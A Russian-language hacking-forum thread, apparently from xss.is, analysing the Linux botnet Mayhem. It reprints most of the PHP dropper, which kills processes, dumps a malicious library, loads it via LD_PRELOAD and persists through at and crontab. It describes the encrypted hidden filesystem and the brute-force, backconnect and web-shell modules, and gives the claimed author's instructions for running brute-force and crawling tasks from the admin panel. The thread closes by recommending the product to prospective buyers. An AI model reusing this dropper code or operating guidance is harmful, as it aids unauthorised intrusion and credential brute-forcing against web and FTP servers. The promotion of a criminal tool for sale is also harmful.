Mayhem

Ar3s

Старожил форума
Легенда
Регистрация
30.12.2004
Сообщения
2 952
Оценка реакций
187
Баллы
55
Доброго времени суток уважаемые посетители!
Рад вас снова видеть на нашем форуме. В эти жаркие июльские дни делать абсолютно ничего не хочется. Полная лень и апатия.
В амебном состоянии я решил почитать твиттер. И наткнулся на множество сообщений о новой малваре под линукс под названием Mayhem. Ну покликал по ссылкам. Почитал. Первое упоминание более-менее информативное попалось от яндекса. Информация была скудная но интересная.
Это и привлекло мое внимание. Долгое гартание вниз привело меня к линку на блог MMD (Malware Must Die!).
C указанных урлов были стянуты сэмплы. Но не просто так а с некоторыми приключениями.
Первая часть файлов была отдана GOONER на растерзание.

Читаем плоды его работы:
===============================Анализ дроппера======================================

Источник: hXXp://www.havepaperswilltravel.com/newsite/

Сам файл который удалось снять:
Анализ будет детальным, так что надеюсь поймут все даже те кто не знаком с PHP.
Код:
<?php <Отправка HTTP заголовка:
header("Content-type: text/plain");
В связи с тем, что Функция file_put_contents (function.file-put-contents) доступна только в PHP 5 - стоит проверка на существование функи и если таковой нет, значит объявляем и реализуем свою с таким же названием
Код:
if (! function_exists('file_put_contents')) {
        function file_put_contents($filename, $data) {
                $f = @fopen($filename, 'w');
                if (! $f)
                        return false;
                $bytes = fwrite($f, $data);
                fclose($f);
                return $bytes;
        }
}
system (function.system) убивает процесс если тот уже был запущен ранее, выполняя команду killall (killall) с сигналом SIGKILL (номер 9)
Код:
@system("killall -9 ".basename("/usr/bin/host"));
HEX 32 и 64 битной версии библиотеки
Код:
$so32 = "\x7f\x45\x4c\...";
$so64 = "\x7f\x45\....";
Проверка архитектуры системы, default-но стоит 64-битная.
Код:
$arch = 64;
if (intval("9223372036854775807") == 2147483647)
        $arch = 32;
print "Arch is ".$arch."\n";
В приведённом ниже коде в переменную $so записывается, в зависимости от архитектуры, $so32 или $so64
$so = $arch == 32 ? $so32 : $so64;
Следующий участок кода - проверка на читабельность /usr/bin/host используя ф-ю fopen (function.fopen)(параметр rb - чтение бинаря) и проверяет для какой системы скомпилирован бинарь
Код:
$f = fopen("/usr/bin/host", "rb");
if ($f) {
        $n = unpack("C*", fread($f, 8));
        $so[7] = sprintf("%c", $n[8]);
        print "System is ".($n[8] == 9 ? "FreeBSD" : "Linux")."\n";
        fclose($f);
}
Дамп библиотеки $so в текущую папку
Код:
print "SO dumped ".file_put_contents("./libworker.so", $so)."\n";
Проверка существования переменной окружения т.е. установлена ли библиотека, если да - прекращаем выполнение текущего скрипта
Код:
if (getenv("MAYHEM_DEBUG"))
        exit(0);
Инициализация URL к скрипту, пути и имени скрипта
Код:
$AU=@$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
Создание .sh скрипта и запись в текущий каталог
Код:
$HBN=basename("/usr/bin/host");
$SCP=getcwd();
$SCR  ="#!/bin/sh\ncd '".$SCP."'\nif [ -f './libworker.so' ];then killall -9 $HBN;export AU='".$AU."'\nexport LD_PRELOAD=./libworker.so\n/usr/bin/host\nunset LD_PRELOAD\n";
$SCR .="crontab -l|grep -v '1\.sh'|grep -v crontab|crontab\nfi\nrm 1.sh\nexit 0\n";
@file_put_contents("1.sh", $SCR);
Выставляем права 777 на .sh скрипт
Код:
@chmod("1.sh", 0777);
Для того чтобы запустить .sh скрипт используют несколько способов. Всё, как раньше в коде скрипта, запускается с подавлением ошибок:
1)Планировщик задач at (blcmdl)
Код:
@system("at now -f 1.sh", $ret);
if ($ret == 0) {
        for ($i = 0; $i < 5; $i++) {
                if (! @file_exists("1.sh")) {
                        print "AT success\n";
                        exit(0);
                }
                sleep(1);
        }
}
2)Запуск через crontab
Код:
@system("(crontab -l|grep -v crontab;echo;echo '* * * * * ".$SCP."/1.sh')|crontab", $ret);
Цикл, как и в приведенном выше участке кода, нужен для небольшой задержки, пока не сработает cron
Проверка результата выполнения cron:
Код:
if (! @file_exists("1.sh"))
Код:
if ($ret == 0) {
        for ($i = 0; $i < 62; $i++) {
                if (! @file_exists("1.sh")) {
                        print "CRONTAB success\n";
                        exit(0);
                }
                sleep(1);
        }
}
print "Running straight\n";
3)Запуск с помощью стандартной функции system
Код:
@system("./1.sh");
Отдельно хотелось бы рассмотреть 1.sh скрипт.
Абсолютный путь
Код:
cd '/home/blablabla/docs/includes'
Если файл libworker.so существует то удаляются все host процессы
Код:
if [ -f './libworker.so' ];then killall -9 host;
Remote URI
Код:
export AU='blablabla.com/includes/infi.php'
LD_PRELOAD
Код:
export LD_PRELOAD=./libworker.so
Код:
Запускаем host для перехвата уязвимых библиотек
/usr/bin/host
unset-им для одноразового запуска
Код:
unset LD_PRELOAD
Перезапись листа cron-a с удалением записи о запуске 1.sh
Код:
crontab -l|grep -v '1\.sh'|grep -v crontab|crontab
Удаляем 1.sh
Код:
rm 1.sh
Вывод - дроппер не использует техник обфускации кода, много отладочных сообщений, конечно этот прототип рабочий, но всё сырое и именно из-за отсутствия нормальных техник сокрытия - многие реверсеры нашли/расколупали/выставили на всеобщее обозрение сэмплы mayhem-a.

На рисунках 1 и 2 показан процесс перехвата библиотечной функции

Вызов библиотечной функции


Вызов библиотечной функции с перехватом

===============================/анализ дроппера======================================

Далее мне очень захотелось расколупать бинарную часть мэйхема. Долго-ли коротко-ли, но случилось так, что все известные реверсеры спасовали перед линукс малварью. И тут я вспомнил своего старого и доброго знакомого kuddisorg. Отписался ему с просьбой провести реверс малвари под линь. Завязалась переписка в которой я сообщил название малвари. После непродолжительной паузы пришел примерно следующий ответ: "Это конечно прикольно .... реверсить собственный софт". Ну были у меня мысли что это его рук дело. Но в тот момент когда я читал ответ - улыбка чуть не порвала лицо. Вот горжусь я когда наши спецы не стоят на месте. Когда развиваются, растут в профессиональном плане. Было приятно узнать что автор именно он. В общем мы договорились на обзор и мне была выдана админка сего продукта:

Bots.png - основная страница.

Files.png - загрузка файлов для работы

NewTask.png - типы заданий

NewTaskBruteforce.png - пример установки задания на брутфорс

TaskList.png - список заданий


Да да да. Знаю. Топорно. Ну не умеет человек делать плюшки и красивости. У него все админки были в стиле минимализм и простота. Для рюшек/сисек-писек у него не хватало терпения никогда.

Полученное описание продукта и работы с ним:
Краткая инструкция по использованию сиситемы.

Логическая архитектура системы построена на трех основных вещах:

1. Данные
2. Боты
3. Задачи


1. У правление данными происходит во вкладке Files. Здесь, мы подгружаем вводные данные - хосты, пароли, и т.д. и можем смотреть результаты работы некоторых плагинов, например краулера
Что можно вгружать в Files
--списки паролей\пользователей, для брута фтп\цмс
--паттерны для рфи сканнера
--листы исключений для краулера
--входящие хосты, для краулера, брута фтп, или парсинга цмс
--линки к админкам цмс (джумла\вп) для их дальнейшего брута

2. New task - раздел создания задач. Архитектура программки плагинная, соответственно, подключая те, или иные плагины - мы выстраиваем цикл задач на выполнение. Например: краулить и параллельно искать цмс, складывать найденные результаты в соответствующую таблицу данных, параллельно - брутить цмс.

Любая задача имеет несколько основных параметров:
1. вводные данные. Взависимости от используемого плагина - хосты, или цмс.
2. количсетво потоков, которые обрабатывает бот. Чем больше, тем быстрее, но тем выше нагрузка на "носителя".
3. Задержка мыжде выполнениями запросов
4. Таймаут соеденения - критерий при котором бот будет считать целевой ресуср в даунтайме.

Далее выбираем соответствующий плагин (при необходимости - указываем требуемые параметры для плагина).

Для создания задачи - жмем add task.

3. Task list -список текущих и выполняемых заданий, их статусы и результаты.
Вновь созданные задания появляются в списке Task List. Для начала выполнения задания - назначаем группу ботов (об этом позже) и стартуем задания.

Результаты отработки задания имеют три статуса: отработан (зеленый), ошибка (красный), в очереди (желтый).

Результат выполнения задачи плагином можно посмотреть кликнув по активному плагину (белый цвет)

4. Bots. В случае удачного отсутка, боты появляются в данном разделе. Для выполнения задач, ботам должны быть назначены группы. Кол-во групп - неограничено.

На ботов, глобально распространяется 4 команды:
--stop - остановить всех
--wake - разбудить всех
--clear - очистить выбор
--select -- выбрать всех

Индивидуальный выбор производится кликом по чекбоксу напротив необходимого бота и нажатимем кнопки! Select.
Имя группы указывается в появившейся после выбора форме.
Но вопрос с реверсом остался открытым. Не можем же мы тупо написать что имеется функционал не проверив его никак. В этот момент наши друзья с coru.ws в очередной раз меня выручили. egyp7 согласился пореверсить бинарную часть. Ему были выданы два бинарника libworker32.so и libworker64.so
Читаем полученные данные:
===============================реверс======================================
Модуль грузится через избитый LD_PRELOAD используемый еще r3 руткитами и прочей *nix малварью с 90 годов.
Изначально использовался в механизме хотпатчей.
Пример загрузки модуля :
export LD_PRELOAD=./libworker[32/64].so

Пруф : http://phrack.org/issues/51/8.html

Смотрим как работает программа хост в которую динамически подгружается объектник mayhem'a через LD_PRELOAD
Код:
$ host -ta coru.ws
 
// debug output:
execve("/usr/bin/host", ["host", "-ta", "coru.ws"], [/* 18 vars */]) = 0
brk(0)                                  = 0x7fbf095f8000
open("./libworker32.so", O_RDONLY)        = 3
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0x\23\0\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=27288, ...}) = 0
...
Ввиду того что техника стара такой перехват обнаруживается очень легко :
Код:
$ lsof | grep libworker
COMMAND   PID   TID  USER         FD     TYPE  DEV    SIZE/OFF  NODE     NAME
host      62111      egyp7-lab    mem    REG   9,2    26848     29753475 $PWD/libworker.so
lsof      62131      egyp7-lab    mem    REG   9,2    26848     29753475 $PWD/libworker.so
grep      62118      egyp7-lab    mem    REG   9,2    26848     29753475 $PWD/libworker.so
Код:
$ lsof -p 62118
COMMAND  PID   USER        FD   TYPE DEVICE SIZE/OFF     NODE NAME
grep    62118  egyp7-lab  cwd    DIR    9,2     4096 29753382 $PWD
grep    62118  egyp7-lab  rtd    DIR    9,2     4096        2 /
grep    62118  egyp7-lab  txt    REG    9,2   175488 23330835 /bin/grep
grep    62118  egyp7-lab  mem    REG    9,2 12582912 29753480 $PWD/.sd0 <- файловая система mayhem

grep    62118  egyp7-lab  DEL    REG    9,2          29753475 $PWD/libworker.so <- основной модуль mayhem
 
grep    62118  egyp7-lab  mem    REG    9,2    80712 38800333 /lib/x86_64-linux-gnu/libresolv-2.13.so
grep    62118  egyp7-lab  mem    REG    9,2    22928 38800338 /lib/x86_64-linux-gnu/libnss_dns-2.13.so
grep    62118  egyp7-lab  mem    REG    9,2    47616 38800348 /lib/x86_64-linux-gnu/libnss_files-2.13.so 
grep    62118  egyp7-lab  mem    REG    9,2  1599504 38800331 /lib/x86_64-linux-gnu/libc-2.13.so
grep    62118  egyp7-lab  mem    REG    9,2    14768 38800346 /lib/x86_64-linux-gnu/libdl-2.13.so
grep    62118  egyp7-lab  mem    REG    9,2   136936 38800354 /lib/x86_64-linux-gnu/ld-2.13.so
grep    62118  egyp7-lab   0r    CHR    1,3      0t0     1027 /dev/null
Процедура старта начинается с декриптовки тела(в начале конфигурации, позже тела) исполняемого файла.
Декриптовка зашифрованных данных происходит по последующему алго :
Код:
int decrypt (int var1, int var2)
{
  int result; 
  int decr1;
  int decr2; 
  int temp_res; 

  result = 0;
  decr1 = *var1;
  decr2 = *(var1 + 4);
  
  do
  {
    temp_res = result + *(var2 + 4 * (result & 3));
    result -= 0x61C88647u;
    decr1 += (decr2 + (16 * decr2 ^ (decr2 >> 5))) ^ temp_res;
    decr2 += (result + *(var2 + 4 * ((result >> 11) & 3))) ^ (decr1 + (16 * decr1 ^ (decr1 >> 5)));
  }
  while ( result != 0xC6EF3720 );

  *var1 = decr1;
  *(var1 + 4) = decr2;
  return result;
}
Конфигурационная информация объектного модуля хранится в сегменте данных в зашифрованном виде.
Ключ дешифровки также хранится в сегменте данных. Изначально, расшифровываются только первые восемь байт,
после расшифровки проверяется равны ли последние четыре байта значению 0xDEADBEEF.
Если это так, то первые четыре байта представляют длину зашифрованных данных. После этой нехитрой процедуры, начинается
декриптовка основного тела.
По сути алгоритм является упрощенным прототипом криптоалго XTEA:
Код:
#include <stdint.h>
 
void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
    unsigned int i;
    uint32_t v0=v[0], v1=v[1], sum=0, delta=0x9E3779B9;
    for (i=0; i < num_rounds; i++) {
        v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
        sum += delta;
        v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
    }
    v[0]=v0; v[1]=v1;
}
 
void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
    unsigned int i;
    uint32_t v0=v[0], v1=v[1], delta=0x9E3779B9, sum=delta*num_rounds;
    for (i=0; i < num_rounds; i++) {
        v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
        sum -= delta;
        v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
    }
    v[0]=v0; v[1]=v1;
}
Конфигурационная информация представлена следующей структурой:
Offset      Размер в байтах     Описание
0x0         4                   Это поле содержит количество восеми-байтных блоков в конфигурации  другими словами,
                                длину конфигурации в восемь-байтных блоков
0x4         4                   Специальный маркер 0xDEADBEEF который используется в сравнении описанном выше
0x8         4                   URL Адрес командного центра (C&C)
0xC         4                   Время тайминга для выполнения цикла функции main в коде программы
0xF         4                   Размер отображения файла скрытой файловой системы
0x14        4                   Смещение с именем файла, содержащего скрытую файловую систему
* С&C вшивается скорее всего при сборке объектного модуля программы. Признаков DGA не обнаружено.
Обращение к C&C происходит по последующему типу :

Код:
LOAD:000077AD 00000009 F,%s,%x\n
LOAD:000077B6 00000013 R,%d,%d,%d,%s,%s,\n
LOAD:000077C9 00000012 P,%u,%u,%u,%u,%u\n   

Equ :
Uptime date, Architecture of the host, user and "uname -a" data
Как стало понятно из анализа структуры, программа использует скрытую файловую систему для хранения своих файлов.
Файловая система содержит файл, который создается во процессе инициализации. Имя файла скрытой файловой системы
определяется в конфигурации, оно, зачастую как указано в обзоре VB, бывает '.sd0'.(можно судить о том,
что это значение, зачастую, не меняется, либо является константой). Для работы с этой файловой системой испольльзуется
опенсорс библиотека fat_filelib(AT16/32 File System Library).
Исходник доступен тут : http://ultra-embedded.com/releases/fat_io_lib.zip

Библиотека содержит код для создания и работы с файловой системой FAT. Имеются также функции для работы с шифрованием фс,
что говорит о том, что в библиотеку были добавлен модуль для поддержки шифрования ФС(в оригинальной версии он отсутствует).
Каждый блок информации шифруется в 32 раунда посредством модифицированного алгоритма XTEA в режиме ECB с генерацией уникального
ключа для каждого блока.

В файловой системе содержатся следующие файлы (несколько модулей представленные объектными файлами и файлы конфигураций,
словарей для перебора, по сути штатный комплект обычных пентестов) :
backconnect.so
brute_rules
bruteforce.so
briteforceng.so
cms_rules
cmsurls.so
crawlerip.so
crawlerng.so
ftpbrute.so
heartbleed.so
opendns.so
pass
pharm_rules
pop3.so
pma_rules
rfiscan.so
users
wp_alt_user_brute
wpenum.so
wptheme.so
Для их извлечения можно воспользоваться следующим кодесом https://github.com/freeoks/SD0_reader
Как стало понятно модули libworker[32 и 64].so обладают двойным функционалом :
1) Дроппером из которого извлекаются нужные модули
2) Извлеченные модули позже по мере необходимости в динамике подключаются и взаимодействуют с libworker для передачи
полученной информации на сервер C&C.

Описание модулей :
rfiscan.so - ищет сайты доступные для проведения иньекции php скрипта с удаленного типа (OWASP:RFI), для тестов
использует http://www.google.com/humans.txt, скорее всего это было сделано для того чтобы запросы казались легитимными.
wpenum.so - используется для перечисления пользователей на ресурсе с движком Wordpress.
cmsurls.so - определяет CMS движок ресурса, используется в частности для идентификации страницы авторизации в Wordpress.
bruteforce.so - как понятно из названия, используется для перебора паролей на ресурсах с движками Joomla и Wordpress.
Ипользует словари pass (примерно 18к часто используемых паролей длинной от 1 до 32 символов) и users.
bruteforceng.so - также используется для брутфорса аутентификационных данных только в отличии от bruteforce.so использует немного
другой подход, а именно брутфорс на основе регулярных выражений. Использует cms_rules в котором как раз таки и собраны
общие правила для брутфорса посредством регулярок для многих известных CMS.
ftpbrute.so - для брута FTP учеток.
crawlerng.so - модуль для сбора необходимой информации с сайтов (или в простанародье кравлинг, пентесты знат толк),
работает алсо с протоколом https. Если использует pharm_rules, значит кравлинг идет на тематику фармы.
crawlerip.so - аналогичный модуль для кравлинга даже код и алго одинаковое (не понятно зачем раздвоение объектников, видимо автор
решил порадовать количеством модулей) единственный нюанс вместо DNS использует IP.
heartbleed.so - используется для проверки уязвимости CVE-2014-0160 (a.k.a Heаrtbleed)
backconnect.so - модуль для реверс бэкконнекта, можно указать ip и порт. (по дефолту 1337)
wptheme.so - модуль для залива шелов с паролем.
pop3.so - модуль для перебора паролей по протоколу POP3
opendns.so - модуль для перебора паролей по OpenDNS.

Реверсить модули смысла не имеет. Ибо ничего нового в них нет. Большая часть предназначена для брутфорса и автозалива, по сути очередной
автотурк. Вместо бинарей можно было использовать скрипты доступные уже давно для пентестов, их качество проверено работой и временем.
Тут и мультиарч и т.п. В целом все.

===============================/реверс======================================
Комментарии автора к реверсу:
>>crawlerip.so - аналогичный модуль для кравлинга даже код и алго одинаковое (не понятно зачем раздвоение объектников, видимо автор  решил порадовать количеством модулей) единственный нюанс вместо DNS использует IP.
----- не правда) мод импользуется для поиска альтернативных веб-интерфейсов на не стандартных портах по протоклам хттп\хттпс

>>opendns.so - модуль для перебора паролей по OpenDNS.
-----нет, это плагин поиска опенрезолверов по заданным параметрам размера ответа пакетов

>>Вместо бинарей можно было использовать скрипты доступные уже давно для пентестов, их качество проверено работой и временем.
---- мейхем никогда не предназначался для пентестови не имеет с ними отнюдь ничего общего. мейхем предназначен для оппортунистических атак со свобным объемом данных от 100к+

Тестов данного ПО не проводилось ввиду ряда причин. Не думаю что это проблема. Автор всегда шел на встречу покупателям и предоставлял доступ к тестовой панели управления.

Что еще я могу вам сказать о продукте... Интересно, юзабельно. Продукт не массовый, хотя после слива яндексом и пойдет в паблик продажу. К нему стоит присмотреться. kuddisorg опытный кодер. Не стоит на месте и идет вперед. Территория охвата не нова, но мало заюзана по сравнению с windows ботнетами. Огорчает только неизвестность цены за данный продукт. Фактор значительный и многим интересный. Но ждать осталось не долго и скоро узнаем что к чему.

Материалы по теме:
http://www.f-secure.com/weblog/archives/00..._medium=twitter
https://www.virusbtn.com/virusbulletin/arch...vb201407-Mayhem

Отдельные благодарности:
GOONER - анализ дроппера
egyp7 - реверс и анализ linux сэмплов
kuddisorg - за предоставленные данные и админку.

Записки на полях, специально для xss.is/ by Ar3s
 

SeT[X]

floppy-диск
Пользователь
Регистрация
08.11.2012
Сообщения
2
Оценка реакций
0
Баллы
8
Интересный функционал лоадэра.
Пойду поищу сэмплы чтоб познакомиться поближе.
 

SeT[X]

floppy-диск
Пользователь
Регистрация
08.11.2012
Сообщения
2
Оценка реакций
0
Баллы
8
Вот тут нашел еще кое какую инфу по теме, если каму интересно.
aHR0cDovL2Jsb2cubWFsd2FyZW11c3RkaWUub3JnLzIwMTQvMDUvZWxmLXNoYXJlZC1zby1keW5hbWljLWxpYnJhcnktbWFsd2FyZS5odG1s
aHR0cHM6Ly93d3cudmlydXNidG4uY29tL3ZpcnVzYnVsbGV0aW4vYXJjaGl2ZS8yMDE0LzA3L3ZiMjAxNDA3LU1heWhlbQ==
 

12309

(L3) cache
Пользователь
Регистрация
06.07.2011
Сообщения
151
Оценка реакций
3
Баллы
18
интересный софт, почерпнул несколько крутых техник :)
 

Sauron

HDD-drive
Пользователь
Регистрация
30.07.2014
Сообщения
45
Оценка реакций
0
Баллы
13
really good reading
also learned a bit about + botnet * nix agent
 
Верх